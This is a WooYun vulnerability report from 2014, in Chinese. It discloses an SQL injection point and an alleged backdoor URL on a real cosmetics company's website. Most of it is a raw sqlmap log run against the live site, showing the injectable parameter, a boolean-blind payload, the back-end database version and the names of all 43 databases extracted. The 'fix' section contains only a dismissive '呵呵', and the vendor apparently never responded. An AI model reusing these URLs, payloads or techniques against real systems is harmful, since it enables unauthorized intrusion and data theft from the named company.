当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062065

漏洞标题:自然美官网一处sql注入涉及43个数据库及一处后门

相关厂商:自然美官网

漏洞作者: Mosuan

提交时间:2014-05-25 12:03

修复时间:2014-07-09 12:03

公开时间:2014-07-09 12:03

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

呵呵

详细说明:

百度一下自然美你就知道!网速太慢了!跑了好久!

后门地址http://www.nblife.com/test.aspx


注入点http://www.nblife.com/news/news.aspx?id=2


注入地址:http://www.nblife.com/news/news.aspx?id=2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 21:45:34
[21:45:34] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.nblife.com\session' as session file
[21:45:34] [INFO] testing connection to the target url
[21:45:38] [INFO] testing if the url is stable, wait a few seconds
[21:45:44] [INFO] url is stable
[21:45:44] [INFO] testing if GET parameter 'id' is dynamic
[21:45:45] [INFO] confirming that GET parameter 'id' is dynamic
[21:45:46] [INFO] GET parameter 'id' is dynamic
[21:45:46] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[21:45:46] [INFO] testing sql injection on GET parameter 'id'
[21:45:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
sqlmap got a 302 redirect to 'http://www.nblife.com:80/404.htm'. Do you want to
follow? [Y/n] y
[21:46:10] [INFO] heuristics detected web page charset 'UTF-8'
[21:46:20] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[21:46:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:46:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:46:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:46:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:46:30] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:46:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:46:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:46:44] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:46:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:46:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:46:51] [INFO] testing 'Oracle AND time-based blind'
[21:46:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:47:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:47:10] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[21:47:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[21:48:00] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[21:48:12] [INFO] target url appears to have 8 columns in query
[21:49:22] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[21:49:33] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[21:49:33] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 57 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 4925=4925 AND 'CMCB'='CMCB
---
[21:51:29] [INFO] testing MySQL
[21:51:41] [WARNING] the back-end DBMS is not MySQL
[21:51:41] [INFO] testing Oracle
[21:51:45] [WARNING] the back-end DBMS is not Oracle
[21:51:45] [INFO] testing PostgreSQL
[21:51:45] [WARNING] the back-end DBMS is not PostgreSQL
[21:51:45] [INFO] testing Microsoft SQL Server
[21:51:54] [INFO] confirming Microsoft SQL Server
[21:52:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[21:52:04] [INFO] fetching database names
[21:52:04] [INFO] fetching number of databases
[21:52:04] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[21:52:04] [INFO] retrieved: 43
[21:52:38] [INFO] retrieved:
[21:53:05] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
age
[21:54:42] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
control
[21:57:35] [INFO] retrieved: biothermlife
[22:00:48] [INFO] retrieved: ContacNasal
[22:02:10] [INFO] retrieved: dermes
[22:03:25] [INFO] retrieved: diarypigeon2
[22:06:42] [INFO] retrieved: event
[22:07:27] [INFO] retrieved: fabia
[22:07:56] [INFO] retrieved: frisomam
[22:09:00] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
a
[22:09:09] [INFO] retrieved: frisomamats
[22:10:10] [INFO] retrieved: g3htc
[22:10:39] [INFO] retrieved: hap
[22:11:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
pyprince
[22:12:04] [INFO] retrieved: hmyg
[22:12:32] [INFO] retrieved: htceclub
[22:13:22] [INFO] retrieved: hugminute
[22:14:22] [INFO] retrieved: jntocmb
[22:15:23] [INFO] retrieved: jurlique2
[22:16:37] [INFO] retrieved: kumanju
[22:17:22] [INFO] retrieved: llam
[22:17:41] [INFO] retrieved: makeupbase
[22:18:34] [INFO] retrieved: mamondeqa
[22:19:32] [INFO] retrieved: master
[22:20:02] [INFO] retrieved: mbiotherm
[22:20:56] [INFO] retrieved: mmamonde
[22:21:40] [INFO] retrieved: model
[22:22:06] [INFO] retrieved: msdb
[22:22:38] [INFO] retrieved: nbncs
[22:23:08] [INFO] retrieved: nbncstest
[22:24:17] [INFO] retrieved: nestlets
[22:25:10] [INFO] retrieved: oa2010
[22:25:46] [INFO] retrieved: offline
[22:26:49] [INFO] retrieved: omronkentaro
[22:27:48] [INFO] retrieved: opera
[22:28:19] [INFO] retrieved: oznerwater
[22:29:15] [INFO] retrieved: restylane3
[22:30:08] [INFO] retrieved: s0
[22:30:23] [INFO] retrieved: s4
[22:30:34] [INFO] retrieved: shibo
[22:30:59] [INFO] retrieved: sleepingpack
[22:32:04] [INFO] retrieved: sulwhasoo
[22:32:50] [INFO] retrieved: technology
[22:34:41] [INFO] retrieved: tempdb
[22:35:42] [INFO] retrieved: zbwin
[22:36:11] [INFO] retrieved: zihudiecn
available databases [43]:
[*] agecontrol
[*] biothermlife
[*] ContacNasal
[*] dermes
[*] diarypigeon2
[*] event
[*] fabia
[*] frisomama
[*] frisomamats
[*] g3htc
[*] happyprince
[*] hmyg
[*] htceclub
[*] hugminute
[*] jntocmb
[*] jurlique2
[*] kumanju
[*] llam
[*] makeupbase
[*] mamondeqa
[*] master
[*] mbiotherm
[*] mmamonde
[*] model
[*] msdb
[*] nbncs
[*] nbncstest
[*] nestlets
[*] oa2010
[*] offline
[*] omronkentaro
[*] opera
[*] oznerwater
[*] restylane3
[*] s0
[*] s4
[*] shibo
[*] sleepingpack
[*] sulwhasoo
[*] technology
[*] tempdb
[*] zbwin
[*] zihudiecn
[22:36:57] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.nblife.com'
[*] shutting down at 22:36:57


漏洞证明:

详细说明

修复方案:

呵呵

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝